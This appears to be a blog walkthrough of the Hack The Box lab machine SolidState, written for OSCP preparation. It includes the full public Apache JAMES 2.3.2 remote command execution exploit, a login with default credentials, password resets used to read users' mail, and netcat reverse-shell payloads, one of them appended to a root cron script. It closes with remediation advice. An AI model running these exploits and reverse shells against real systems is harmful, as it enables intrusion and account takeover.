Spread the love

Target: SolidState

Welcome, today we will be examining the HTB machine SolidState. This is a well designed box created by the HTB user ch33zplz. This box covers an array of interesting topics; including email hacking, exploit analysis and modification, restricted shell escape, and Linux privilege escalation. It also highlights the importance of thorough scanning and enumeration.

This is the first writeup in a series of writeups I will be releasing about machines focused on preparation for the OSCP exam. I am happy to say that I took and passed my OSCP exam on my fist attempt December 8th, 2019. Therefore, I know first hand how grueling the preparation can be and I hope that this series of writeups will be of aid to anyone else currently on their OSCP journey!

Table of Contents


To begin, we’ll start by running an initial Nmap scan to identify what ports are open and which services are running on the target host.

sudo nmap -T4 -sC -sV -Pn -oA solid_state_NMAPsudo_sC_sV01

  • -T4 Sets the timing template of our scan to be fairly quick
  • -sC Will run a default script scan against the target with NSE (Nmap Scripting Engine)
  • -sV Will probe open ports to determine service/version info
  • -Pn Configures our scan to skip host discovery
  • -oA Will output our scan report in normal, XML, or Grepable format

Nmap scan report for
Host is up (0.069s latency).
Not shown: 995 closed ports
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
| 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp open smtp JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org ( []),
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home – Solid State Security
110/tcp open pop3 JAMES pop3d 2.3.2
119/tcp open nntp JAMES nntpd (posting ok)
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Our initial Nmap scan reports that the following ports are open and describes the services running on them:

22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)

25/tcp open smtp JAMES smtpd 2.3.2

80/tcp open http Apache httpd 2.4.25 ((Debian))

110/tcp open pop3 JAMES pop3d 2.3.2

119/tcp open nntp JAMES nntpd (posting ok)

However, to ensure that we have not missed any open ports on the target, we should proceed to initiate another Nmap scan.

This time we include the -p- flag in our command. This will configure our scan to probe all ports on the target host versus the default top 1000 TCP ports.

sudo nmap -T4 -sC -sV -Pn -p- -oA solid_state_NMAPsudo_allPorts

Nmap scan report for
Host is up (0.061s latency).
Not shown: 65529 closed ports
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
| 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp open smtp JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello nmap.scanme.org ( []),
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home – Solid State Security
110/tcp open pop3 JAMES pop3d 2.3.2
119/tcp open nntp JAMES nntpd (posting ok)
4555/tcp open james-admin JAMES Remote Admin 2.3.2
Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.52 seconds

Here we can see that the all port scan returned a previously unidentified service running, the remote admin service for Apache JAMES 2.3.2. This is quite an attractive find for an attacker and highlights why it is important to be thorough during your scanning and enumeration.

Being thorough also includes running a UDP scan on our target:

Nmap scan report for
Host is up, received user-set (0.056s latency).
Scanned at 2019-11-17 20:03:43 CST for 288s

53/udp closed domain port-unreach ttl 63
67/udp closed dhcps port-unreach ttl 63
68/udp open|filtered dhcpc no-response
69/udp closed tftp port-unreach ttl 63
123/udp closed ntp port-unreach ttl 63
135/udp closed msrpc port-unreach ttl 63
137/udp open|filtered netbios-ns no-response
138/udp closed netbios-dgm port-unreach ttl 63
139/udp open|filtered netbios-ssn no-response
161/udp closed snmp port-unreach ttl 63
162/udp closed snmptrap port-unreach ttl 63
445/udp closed microsoft-ds port-unreach ttl 63
500/udp closed isakmp port-unreach ttl 63
514/udp open|filtered syslog no-response
520/udp closed route port-unreach ttl 63
631/udp open|filtered ipp no-response
1434/udp closed ms-sql-m port-unreach ttl 63
1900/udp open|filtered upnp no-response
4500/udp closed nat-t-ike port-unreach ttl 63
49152/udp open|filtered unknown no-response

Our UDP scan for this box doesn’t return much that we can leverage. However, I find that it is generally wise to check UDP when hacking any machine.

Regarding scanning and enumeration, another very useful tool that I use for gathering information from CTF boxes is called AutoRecon. In fact, this tool aided me in breaking into this machine. I suggest trying it out yourself, you can find AutoRecon here:


However, I would advise against using this in the majority of real-world engagements as it can be quite noisy since AutoRecon utilizes a vast array of information gathering programs and techniques in conjunction.

Now that we have gathered a large quantity of information from our scans, we can begin further enumerating the services running on the target. However, before we move on let’s take a moment to reflect on what we have gathered so far and see what conclusions we can draw from this data:

  • We know that OpenSSH is running on the machine. This may mean that we can gain a shell by finding credentials for an SSH user.
  • We know that SMTP and POP3 are running on the target, thus we should probe these services further with a telnet client and other tools as there may be important information stored on the mail server.
  • We know that an Apache HTTP server is running on the host, therefore we should check this service further to see if there is anything of importance.
  • We know that Apache JAMES remote admin service is running on the box, this is our low-hanging fruit and as a hacker we generally want to investigate the low-hanging fruit first. Thus we should conduct a thorough investigation on this service.
  • Apache JAMES stands for Java Apache Mail Enterprise Server. Since this is a mail server which we already concluded from the presence of SMTP and POP3, we can also conclude that there is a database running on the server as well. This is important to note since databases are always high value targets for us hackers.


Now that we have reviewed our scan reports, it would appear that the Apache JAMES remote administration service is the most promising attack vector for us to investigate. However, we do not want to be hasty and overlook anything that may be of importance, such as the HTTP server running on the host. With that in mind, let’s take a quick look at the HTTP server and see if there is anything of value there.


In my examination of the web server I probed the host with a combination of Nikto, NSE, dirsearch, Burp, and dirb.

Dirsearch reports back with the following results:

python3 dirsearch.py -u -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e php,txt,js,sql

Extensions: php, txt, js, sql | HTTP method: get | Threads: 10 | Wordlist size: 30000


[14:57:20] Starting:
[14:57:20] 301 –  311B  – /images  ->
[14:57:21] 301 –  311B  – /assets  ->
[14:57:44] 403 –  299B  – /server-status

Task Completed

Dirsearch is a fantastic tool for directory and file bruteforcing. For me, it is a tool I use constantly when targeting web servers. You can get Dirsearch for yourself at the following link:


Since the HTTP server does not return too much of interest on this target, we will continue by investigating the remote admin service.

Apache JAMES Remote Administration Service

We’ll start by searching for vulnerabilities in Apache JAMES 2.3.2.

We can discover via searchsploit and some search engine queries that there is an Authenticated User Remote Command Execution vulnerability present in the default installation of Apache JAMES.

The publicly available exploit for this vulnerability can be found here:


In addition, an excellent PDF written by Kamil Jiwa which explains in detail the Remote Command Execution vulnerability found in Apache JAMES 2.3.2 can be found here:


The aforementioned document has this to say about the vulnerability:

“The vulnerability arises from an insecure default configuration and a lack of input validation in the server’s user creation mechanism; it allows an attacker to enqueue commands to execute when a user signs into the machine.” – Kamil Jiwa, Exploiting Apache James 2.3.2

Let’s see how we can leverage this vulnerability and exploit to gain an initial foothold on our target!

Exploit Analysis

It is always wise to examine the code of any exploit you utilize, whether in a real engagement or a CTF. In addition, analyzing exploit code can teach you a lot! With that in mind, let’s continue by taking a look at the contents of the publicly available exploit we discovered.

# Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution
# Date: 16\10\2014
# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec
# Vendor Homepage: http://james.apache.org/server/
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu, Debian
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d

import socket
import sys
import time

# specify payload
#payload = 'touch /tmp/proof.txt' # to exploit on any user 
payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root
# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'

if len(sys.argv) != 2:
    sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s\n" % sys.argv[0])

ip = sys.argv[1]

def recv(s):

    print "[+]Connecting to James Remote Administration Tool..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.send(user + "\n")
    s.send(pwd + "\n")
    print "[+]Creating user..."
    s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")

    print "[+]Connecting to James SMTP server..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.send("ehlo team@team.pl\r\n")
    print "[+]Sending payload..."
    s.send("mail from: <'@team.pl>\r\n")
    # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n") if the recipient cannot be found
    s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
    s.send("From: team@team.pl\r\n")
    s.send(payload + "\n")
    print "[+]Done! Payload will be executed once somebody logs in."
    print "Connection failed."

Let’s break down how this exploit works:

To begin, we can see that our malicious command to execute on the target host is stored within the variable ‘payload‘.

The comments within this code inform us that the default credentials for JAMES remote administration service is root:root. It then stores these credentials within the variables ‘user‘ and ‘pwd‘.

Next the exploit asks for some user supplied data from us. This is the IP address of the target box, which it then stores in the variable ‘ip‘.

Our exploit then makes a connection to the JAMES remote administration service running on TCP port 4555 on the host IP we provided. It proceeds to send the credentials root:root to the service and authenticates. From here it creates a new malicious user on the mail server named:


After creating this new user through the remote admin service, the exploit then proceeds to connect to the SMTP service. From here, it sends an email containing the malicious command stored within the ‘payload‘ variable to our newly created user.
Finally, our malicious command is now enqueued on the target and will be executed the next time a user logs in!
Now that we understand the anatomy of our exploit let’s see what we can do with this knowledge.


Before we do anything with our exploit, let’s go ahead and see if we can manually gain access to the remote admin service.

We can connect to the remote admin service with the following command using Ncat:

rlwrap nc 4555

Note: I have an alias that invokes Ncat instead of netcat when using the ‘nc’ command.

We submit the default credentials root:root to the service and…

We’re in!

Now that we have gained access to the remote admin service we can leverage our administrative rights to gain access to the mail accounts of any users present on the mail server.

Firstly, we can view the full range of commands available to us by submitting the HELP command to the service:

Welcome root. HELP for a list of commands
Currently implemented commands:
help display this help
listusers display existing accounts
countusers display the number of existing accounts
adduser [username] [password] add a new user
verify [username] verify if specified user exist
deluser [username] delete existing user
setpassword [username] [password] sets a user’s password
setalias [user] [alias] locally forwards all email for ‘user’ to ‘alias’
showalias [username] shows a user’s current email alias
unsetalias [user] unsets an alias for ‘user’
setforwarding [username] [emailaddress] forwards a user’s email to another email address
showforwarding [username] shows a user’s current email forwarding
unsetforwarding [username] removes a forward
user [repositoryname] change to another user repository
shutdown kills the current JVM (convenient when James is run as a daemon)
quit close connection

Let’s list out the existing users on the server with the listusers command:

Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin

Great, now that we are aware of the existing users on the server we can utilize the setpassword command to change the passwords for each user:

setpassword james resetone
Password for james reset
setpassword thomas resettwo
Password for thomas reset
setpassword john resetthree
Password for john reset
mindy resetfour
setpassword mindy resetfour
Password for mindy reset
setpassword mailadmin resetfive
Password for mailadmin reset

Note: I would certainly advise against changing user passwords on a real engagement in this manner as this will definitely attract attention.

Now that we have altered the credentials for each mail user, let’s connect to the SMTP service and see what we find!

Connecting to the SMTP service and authenticating as each of our users reveals that only the users Mindy and John contain messages in their inbox. Let’s take a look at these!

First let’s start with John. We can authenticate to the SMTP service as John by submitting our modified credentials to the service via a Telnet client:

telnet 110
Connected to
Escape character is ‘^]’.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
USER john
PASS resetthree
+OK Welcome john

Now that we have authenticated as John, let’s take a look at his email:

+OK 1 743
1 743
+OK Message follows

Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
From: mailadmin@localhost
Subject: New Hires access

Can you please restrict mindy’s access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.

Thank you in advance.


From this message we learn that Mindy’s access is restricted, and more importantly, that she may have credentials stored in an email sent to her!

Let’s investigate Mindy’s email and see if we can confirm if any credentials were sent to her:

telnet 110
Connected to
Escape character is ‘^]’.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
USER mindy
PASS resetfour
+OK Welcome mindy

Now that we have authenticated as Mindy, let’s have a look at her mail:

+OK 2 1945
1 1109
2 836
+OK Message follows

Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome

Dear Mindy,
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.

We are looking forward to you joining our team and your success at Solid State Security.


+OK Message follows

Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,

Here are your ssh credentials to access the system. Remember to reset your password after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.

username: mindy
pass: P@55W0rd1!2@



Jackpot! We now have Mindy’s SSH credentials which we can authenticate with to gain an initial shell!

Privilege Escalation

Now that we have gained an initial foothold as Mindy, let’s attempt to escalate our privilege!

Shell Escape

Our first hurdle is made evident from the moment we SSH in. The shell we are served by the server is an rbash restricted shell. Let’s explore how we can break out of this restricted shell.

To begin our shell escape process, let’s revisit the exploit we analyzed earlier:

# specify payload
#payload = 'touch /tmp/proof.txt' # to exploit on any user 
payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root 

We know that the command stored within the ‘payload‘ variable will be executed once a user logs in. Therefore, we can craft a command that sends a reverse /bin/bash shell back to our attacking machine that will be invoked when we SSH in as Mindy.

In order to accomplish this, we will first need to understand what tools we have at our disposal. By listing out the contents of the /bin directory via our SSH session we can confirm that netcat is present on the target host. Perfect!

Now that we have confirmed that netcat is present on the host, let’s modify our exploit payload to include our newly crafted malicious command:

payload = 'nc -e /bin/bash 80' 

Now that our exploit is modified let’s launch it against the target:

python custom_jamesSPLOIT_232.py
[+]Connecting to James Remote Administration Tool…
[+]Creating user…
[+]Connecting to James SMTP server…
[+]Sending payload…
[+]Done! Payload will be executed once somebody logs in.

Great! Now that our malicious command is embedded on the server, we can proceed by opening up a listener for our reverse shell and authenticating to SSH as Mindy.

An excellent tool that I use on almost every single box I encounter is rlwrap. This tool is a readline wrapper that intercepts user input in order to provide readline’s line editing, persistent history, and completion. Equipping our Ncat listener with this gives our reverse shell quite a buff!

We can open up an Ncat listener running on TCP port 80 with the following command:

sudo rlwrap nc -nlvp 80

Why TCP port 80? Well, this is a good practice whether you are performing a real engagement or working in a practice environment. As hosting your listener on TCP port 80 tends to be a more effective means of bypassing defense mechanisms and filtering that may be present on the target since TCP port 80 is utilized by HTTP. There are a number of other ports that are also wise to use when working with listeners, but we’ll save that for a separate post!

We then proceed to SSH into the target as Mindy, executing our crafted command and sending us back a reverse shell to our listener:

Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from

Success! We have now escaped from our rbash prison! However, we can add even more interactivity to our new shell by invoking TTY using python:

python -c ‘import pty; pty.spawn(“/bin/bash”)’

Excellent, now that we have escaped our restricted shell and attained interactivity let’s continue the search for a method in which to escalate our privilege!

Gaining A Root Shell

Firstly, we can begin enumerating the target machine by transferring the superb Linux enumeration script LinEnum.sh to the host with SCP and firing it up!

LinEnum.sh reports that there is a python file titled ‘tmp.py‘, which is owned by root and resides in the /opt directory set with 777 permissions. Allowing global read, write, and execute permissions. Let’s take a look at the contents of this file:

cat tmp.py

#!/usr/bin/env python
import os
import sys
os.system('rm -r /tmp/* ')

Analyzing the contents of the file reveals that the python script is passing the string ‘rm -r /tmp/*’ as an argument to os.system which will treat the string as an operating system command. Since our target host is a Linux machine, this string will be given to the bash interpreter. Thus causing the rm command to be invoked and recursively delete any files located in the /tmp directory.

Now, what can we conclude from this? Well, cleaning out the /tmp directory is a common practice on Linux and is generally set to occur at regular intervals. Since we can assume that this script is being run at a set interval we can infer that the file is being executed by a system.d timer or cronjob.

We can confirm that this script is being run at a set interval by placing a file within the /tmp directory on the host and setting a watch job to list out the contents of the directory at a set rate. After some time, you will notice that this file will be deleted, confirming that the ‘tmp.py‘ script is being run frequently at a set time.

We have confirmed that this action is occurring regularly and that the process responsible for executing ‘tmp.py‘ is being run as root. Therefore, by appending a new line of code to our writable python script containing a string of commands to pass to the system, we can achieve command execution as root!

Let’s leverage this to gain a new shell as root!

We can use echo to append our malicious command to the script:

echo “os.system(‘/bin/nc -e /bin/bash 443’)” >> tmp.py

cat tmp.py

#!/usr/bin/env python
import os
import sys
os.system('rm -r /tmp/* ')

os.system('/bin/nc -e /bin/bash 443') 

This will cause netcat to send us a new reverse shell to our listener on TCP port 443, since our current reverse shell is utilizing TCP port 80.

With our listener ready and our malicious command appended, all that’s left to do is wait for ‘tmp.py‘ to be run and…

We have root!

Now that we have attained root, we can view the root user’s crontab contents, revealing the cronjob that is configured to execute ‘tmp.py‘:

cat /var/spool/cron/crontabs/root
# DO NOT EDIT THIS FILE – edit the master and reinstall.
# (/tmp/crontab.RFyCY4/crontab installed on Tue Aug 22 13:33:43 2017)
# (Cron version — $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
# Edit this file to introduce tasks to be run by cron.
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use ‘*’ in these fields (for ‘any’).#
# Notice that tasks will be started based on the cron’s system
# daemon’s notion of time and timezones.
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# For more information see the manual pages of crontab(5) and cron(8)
# m h dom mon dow command
*/3 * * * * python /opt/tmp.py

Conclusion and Review

To conclude our examination of this machine, let’s take a moment to reflect on what we can learn from this box:

  • When performing reconnaissance on a target, it is important to thoroughly scan and enumerate your host. As a lack of thorough probing can result in you missing crucial services or pieces of data that may be essential attack vectors.
  • Studying the contents of a publicly available exploit is not only good practice but can save quite a lot of time. In this instance, we discovered the default credentials for the remote admin service and learned the nature of the vulnerability and how it can be exploited. Later, this knowledge proved invaluable in aiding with our restricted shell escape.
  • If while targeting a Linux host, you happen to discover a file owned by root with weak permissions set, it is always a good idea to examine this file as it may be able to be leveraged to aid in privilege escalation.
  • Poorly configured cronjobs can often be taken advantage of in order to escalate privilege or perform other malicious actions. This is a common vulnerability on Linux systems and it is always a good idea to examine these and their related processes.

Vulnerability Mitigation and Remediation

There are several key vulnerabilities present on this target. Let’s examine the nature of these vulnerabilities and discuss how we can defend against them:

  • The Apache JAMES service running on the target is not up to date and contains crucial security vulnerabilities. It is highly important to always ensure that software is regularly updated so that these vulnerabilities are patched.
  • Leaving default credentials for services is a very poor practice yet it is an overwhelmingly common security problem. Default credentials should always be changed.
  • Insecure file permission settings is a frequent vulnerability which can be leveraged to perform an assortment of malicious actions. Systems should be audited regularly to confirm that files are configured with proper permissions.
  • Poorly configured cronjobs can present a number of security problems and can often be utilized by attackers to elevate privilege. System administrators should act with caution when creating cronjobs and comprehensively analyze the configuration of their cronjobs to ensure that vulnerabilities do not arise.

That concludes our examination of SolidState!

I thoroughly enjoyed the flow of this machine and had quite a lot of fun breaking into it.

In addition, this box is great practice for buffing your Linux hacking skills.

If you find that you have enjoyed this machine as much as I have, head over to Hack The Box and give ch33zplz some respect!

Until next time,

Happy hacking!

Leave a Reply

Your email address will not be published. Required fields are marked *